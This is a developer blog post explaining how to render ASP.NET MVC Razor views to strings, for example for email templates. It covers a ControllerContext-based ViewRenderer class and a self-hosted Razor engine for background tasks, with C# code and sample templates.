Rather than creating text output in code, it's much nicer to use the rendering mechanism that ASP.NET MVC already provides by way of it's ViewEngines - using Razor or WebForms views - to render output to a string. This is nice because it uses the same familiar rendering mechanism that I already use for my HTTP output and it also solves the problem of where to store the templates for rendering this content in nothing more than perhaps a separate view folder.

The good news is that ASP.NET MVC's rendering engine is much more modular than the full ASP.NET runtime engine which was a real pain in the butt to coerce into rendering output to string. With MVC the rendering engine has been separated out from core ASP.NET runtime, so it's actually a lot easier to get View output into a string.

Getting View Output from within an MVC Application

If you need to generate string output from an MVC and pass some model data to it, the process to capture this output is fairly straight forward and involves only a handful of lines of code. The catch is that this particular approach requires that you have an active ControllerContext that can be passed to the view. This means that the following approach is limited to access from within Controller methods.

Here's a class that wraps the process and provides both instance and static methods to handle the rendering:

/// <summary>
/// Class that renders MVC views to a string using the
/// standard MVC View Engine to render the view. 
/// 
/// Note: This class can only be used within MVC 
/// applications that have an active ControllerContext.
/// </summary>
public class ViewRenderer
{
    /// <summary>
    /// Required Controller Context
    /// </summary>
    protected ControllerContext Context { get; set; }


    public ViewRenderer(ControllerContext controllerContext)
    {
        Context = controllerContext;
    }

    /// <summary>
    /// Renders a full MVC view to a string. Will render with the full MVC
    /// View engine including running _ViewStart and merging into _Layout        
    /// </summary>
    /// <param name="viewPath">
    /// The path to the view to render. Either in same controller, shared by 
    /// name or as fully qualified ~/ path including extension
    /// </param>
    /// <param name="model">The model to render the view with</param>
    /// <returns>String of the rendered view or null on error</returns>
    public string RenderView(string viewPath, object model)
    {
        return RenderViewToStringInternal(viewPath, model, false);
    }


    /// <summary>
    /// Renders a partial MVC view to string. Use this method to render
    /// a partial view that doesn't merge with _Layout and doesn't fire
    /// _ViewStart.
    /// </summary>
    /// <param name="viewPath">
    /// The path to the view to render. Either in same controller, shared by 
    /// name or as fully qualified ~/ path including extension
    /// </param>
    /// <param name="model">The model to pass to the viewRenderer</param>
    /// <returns>String of the rendered view or null on error</returns>
    public string RenderPartialView(string viewPath, object model)
    {
        return RenderViewToStringInternal(viewPath, model, true);
    }

    public static string RenderView(string viewPath, object model,
                                    ControllerContext controllerContext)
    {
        ViewRenderer renderer = new ViewRenderer(controllerContext);
        return renderer.RenderView(viewPath, model);
    }

    public static string RenderPartialView(string viewPath, object model,
                                           ControllerContext controllerContext)
    {
        ViewRenderer renderer = new ViewRenderer(controllerContext);
        return renderer.RenderPartialView(viewPath, model);
    }

    protected string RenderViewToStringInternal(string viewPath, object model,
                                                bool partial = false)
    {
        // first find the ViewEngine for this view
        ViewEngineResult viewEngineResult = null;
        if (partial)
            viewEngineResult = ViewEngines.Engines.FindPartialView(Context, viewPath);
        else
            viewEngineResult = ViewEngines.Engines.FindView(Context, viewPath, null);

        if (viewEngineResult == null)
            throw new FileNotFoundException(Properties.Resources.ViewCouldNotBeFound);

        // get the view and attach the model to view data
        var view = viewEngineResult.View;
        Context.Controller.ViewData.Model = model;

        string result = null;

        using (var sw = new StringWriter())
        {
            var ctx = new ViewContext(Context, view,
                                        Context.Controller.ViewData,
                                        Context.Controller.TempData,
                                        sw);
            view.Render(ctx, sw);
            result = sw.ToString();
        }

        return result;
    }
}

The key is the RenderViewToStringInternal method. The method first tries to find the view to render based on its path which can either be in the current controller's view path or the shared view path using its simple name (PasswordRecovery) or alternately by its full virtual path (~/Views/Templates/PasswordRecovery.cshtml). This code should work both for Razor and WebForms views although I've only tried it with Razor Views. Note that WebForms Views might actually be better for plain text as Razor adds all sorts of white space into its output when there are code blocks in the template. The Web Forms engine provides more accurate rendering for raw text scenarios.

Once a view engine is found the view to render can be retrieved. Views in MVC render based on data that comes off the controller like the ViewData which contains the model along with the actual ViewData and ViewBag. From the View and some of the Context data a ViewContext is created which is then used to render the view with. The View picks up the Model and other data from the ViewContext internally and processes the View the same it would be processed if it were to send its output into the HTTP output stream. The difference is that we can override the ViewContext's output stream which we provide and capture into a StringWriter(). After rendering completes the result holds the output string.

If an error occurs the error behavior is similar what you see with regular MVC errors - you get a full yellow screen of death including the view error information with the line of error highlighted. It's your responsibility to handle the error - or let it bubble up to your regular Controller Error filter if you have one.

To use the simple class you only need a single line of code if you call the static methods. Here's an example of some Controller code that is used to send a user notification to a customer via email in one of my applications:

[HttpPost]
public ActionResult ContactSeller(ContactSellerViewModel model)
{            
    InitializeViewModel(model);
    
    var entryBus = new busEntry();
    var entry = entryBus.LoadByDisplayId(model.EntryId);
     

    if ( string.IsNullOrEmpty(model.Email) )            
        entryBus.ValidationErrors.Add("Email address can't be empty.","Email");
    if ( string.IsNullOrEmpty(model.Message))
        entryBus.ValidationErrors.Add("Message can't be empty.","Message");            

    model.EntryId = entry.DisplayId;
    model.EntryTitle = entry.Title;

    if (entryBus.ValidationErrors.Count > 0)
    {
        ErrorDisplay.AddMessages(entryBus.ValidationErrors);
        ErrorDisplay.ShowError("Please correct the following:");
    }
    else
    {
        string message = ViewRenderer.RenderView("~/views/template/ContactSellerEmail.cshtml",model,
                                                 ControllerContext);

        string title = entry.Title + " (" + entry.DisplayId + ") - " + App.Configuration.ApplicationName; 
        AppUtils.SendEmail(title, message, model.Email,
                           entry.User.Email, false, false))
    }                

    return View(model);
}

Simple!

The view in this case is just a plain MVC view and in this case it's a very simple plain text email message (edited for brevity here) that is created and sent off:

@model ContactSellerViewModel  
@{ 
    Layout = null;    
}re: @Model.EntryTitle
@Model.ListingUrl    

@Model.Message



** SECURITY ADVISORY - AVOID SCAMS
** Avoid: wiring money, cross-border deals, work-at-home
** Beware: cashier checks, money orders, escrow, shipping
** More Info: @(App.Configuration.ApplicationBaseUrl)scams.html

Obviously this is a very simple view (I edited out more from this page to keep it brief) -  but other template views are much more complex HTML documents or long messages that are occasionally updated and they are a perfect fit for Razor rendering. It even works with nested partial views and _layout pages.

Partial Rendering

Notice that I'm rendering a full View here. In the view I explicitly set the Layout=null to avoid pulling in _layout.cshtml for this view. This can also be controlled externally by calling the RenderPartial method instead:

string message = ViewRenderer.RenderPartialView("~/views/template/ContactSellerEmail.cshtml",model, ControllerContext);

with this line of code no layout page (or _viewstart) will be loaded, so the output generated is just what's in the view. I find myself using Partials most of the time when rendering templates, since the target of templates usually tend to be emails or other HTML fragment like output, so the RenderPartialView() method is definitely useful to me.

Rendering without a ControllerContext

The preceding class is great when you're need template rendering from within MVC controller actions or anywhere where you have access to the request Controller. But if you don't have a controller context handy - maybe inside a utility function that is static, a non-Web application, or an operation that runs asynchronously in ASP.NET - which makes using the above code impossible. I haven't found a way to manually create a Controller context to provide the ViewContext() what it needs from outside of the MVC infrastructure.

However, there are ways to accomplish this,  but they are a bit more complex. It's possible to host the RazorEngine on your own, which side steps all of the MVC framework and HTTP and just deals with the raw rendering engine. I wrote about this process in Hosting the Razor Engine in Non-Web Applications a long while back. It's quite a process to create a custom Razor engine and runtime, but it allows for all sorts of flexibility. There's also a RazorEngine CodePlex project that does something similar. I've been meaning to check out the latter but haven't gotten around to it since I have my own code to do this. The trick to hosting the RazorEngine to have it behave properly inside of an ASP.NET application and properly cache content so templates aren't constantly rebuild and reparsed.

Anyway, in the same app as above I have one scenario where no ControllerContext is available: I have a background scheduler running inside of the app that fires on timed intervals. This process could be external but because it's lightweight we decided to fire it right inside of the ASP.NET app on a separate thread.

In my app the code that renders these templates does something like this:

var model = new SearchNotificationViewModel()
{
    Entries = entries,
    Notification = notification,
    User = user
};


// TODO: Need logging for errors sending
string razorError = null;
var result = AppUtils.RenderRazorTemplate("~/views/template/SearchNotificationTemplate.cshtml", model, 
                                          razorError);

which references a couple of helper functions that set up my RazorFolderHostContainer class:

public static string RenderRazorTemplate(string virtualPath, object model,string errorMessage = null)
{    
    var razor = AppUtils.CreateRazorHost();           
    
    var path = virtualPath.Replace("~/", "").Replace("~", "").Replace("/", "\\");
    var merged = razor.RenderTemplateToString(path, model);
    if (merged == null)
        errorMessage = razor.ErrorMessage;

    return merged;
}

/// <summary>
/// Creates a RazorStringHostContainer and starts it
/// Call .Stop() when you're done with it.
/// 
/// This is a static instance
/// </summary>
/// <param name="virtualPath"></param>
/// <param name="binBasePath"></param>
/// <param name="forceLoad"></param>
/// <returns></returns>
public static RazorFolderHostContainer CreateRazorHost(string binBasePath = null,
                                                       bool forceLoad = false)
{
    if (binBasePath == null)
    {
        if (HttpContext.Current != null)
            binBasePath = HttpContext.Current.Server.MapPath("~/");
        else
            binBasePath = AppDomain.CurrentDomain.BaseDirectory;
    }

    if (_RazorHost == null || forceLoad)
    {
        if (!binBasePath.EndsWith("\\"))
            binBasePath += "\\";

        //var razor = new RazorStringHostContainer();
        var razor = new RazorFolderHostContainer();
        razor.TemplatePath = binBasePath;
        binBasePath += "bin\\";
        razor.BaseBinaryFolder = binBasePath;
        razor.UseAppDomain = false;
        razor.ReferencedAssemblies.Add(binBasePath + "ClassifiedsBusiness.dll");
        razor.ReferencedAssemblies.Add(binBasePath + "ClassifiedsWeb.dll");
        razor.ReferencedAssemblies.Add(binBasePath + "Westwind.Utilities.dll");
        razor.ReferencedAssemblies.Add(binBasePath + "Westwind.Web.dll");
        razor.ReferencedAssemblies.Add(binBasePath + "Westwind.Web.Mvc.dll");
        razor.ReferencedAssemblies.Add("System.Web.dll");
        razor.ReferencedNamespaces.Add("System.Web");
        razor.ReferencedNamespaces.Add("ClassifiedsBusiness");
        razor.ReferencedNamespaces.Add("ClassifiedsWeb");
        razor.ReferencedNamespaces.Add("Westwind.Web");
        razor.ReferencedNamespaces.Add("Westwind.Utilities");

        _RazorHost = razor;
        _RazorHost.Start();

        //_RazorHost.Engine.Configuration.CompileToMemory = false;
    }

    return _RazorHost;
}

The RazorFolderHostContainer essentially is a full runtime that mimics a folder structure like a typical Web app does including caching semantics and compiling code only if code changes on disk. It maps a folder hierarchy to views using the ~/ path syntax. The host is then configured to add assemblies and namespaces. Unfortunately the engine is not exactly like MVC's Razor - the expression expansion and code execution are the same, but some of the support methods like sections, helpers etc. are not all there so templates have to be a bit simpler. There are other folder hosts provided as well to directly execute templates from strings (using RazorStringHostContainer).

The following is an example of an HTML email template

@inherits RazorHosting.RazorTemplateFolderHost <ClassifiedsWeb.SearchNotificationViewModel>
<html>
    <head>
        <title>Search Notifications</title>
        <style>
            body { margin: 5px;font-family: Verdana, Arial; font-size: 10pt;}
            h3 { color: SteelBlue; }
            .entry-item { border-bottom: 1px solid grey; padding: 8px; margin-bottom: 5px; }    
        </style>
    </head>
    <body>
        
        Hello @Model.User.Name,<br />
        <p>Below  are your Search Results for the search phrase:</p>
        <h3>@Model.Notification.SearchPhrase</h3>
        <small>since @TimeUtils.ShortDateString(Model.Notification.LastSearch)</small>
        <hr />

You can see that the syntax is a little different. Instead of the familiar @model header the raw Razor  @inherits tag is used to specify the template base class (which you can extend). I took a quick look through the feature set of RazorEngine on CodePlex (now Github I guess) and the template implementation they use is closer to MVC's razor but there are other differences. In the end don't expect exact behavior like MVC templates if you use an external Razor rendering engine.

This is not what I would consider an ideal solution, but it works well enough for this project. My biggest concern is the overhead of hosting a second razor engine in a Web app and the fact that here the differences in template rendering between 'real' MVC Razor views and another RazorEngine really are noticeable.

You win some, you lose some

It's extremely nice to see that if you have a ControllerContext handy (which probably addresses 99% of Web app scenarios) rendering a view to string using the native MVC Razor engine is pretty simple. Kudos on making that happen - as it solves a problem I see in just about every Web application I work on.

But it is a bummer that a ControllerContext is required to make this simple code work. It'd be really sweet if there was a way to render views without being so closely coupled to the ASP.NET or MVC infrastructure that requires a ControllerContext. Alternately it'd be nice to have a way for an MVC based application to create a minimal ControllerContext from scratch - maybe somebody's been down that path. I tried for a few hours to come up with a way to make that work but gave up in the soup of nested contexts (MVC/Controller/View/Http). I suspect going down this path would be similar to hosting the ASP.NET runtime requiring a WorkerRequest. Brrr….

The sad part is that it seems to me that a View should really not require much 'context' of any kind to render output to string. Yes there are a few things that clearly are required like paths to the virtual and possibly the disk paths to the root of the app, but beyond that view rendering should not require much. But, no such luck. For now custom RazorHosting seems to be the only way to make Razor rendering go outside of the MVC context…

Resources

• Full ViewRenderer.cs source code from Westwind.Web.Mvc library
• Hosting the Razor Engine for Non-Web Applications
• RazorEngine on GitHub
• Related discussion on StackOverFlow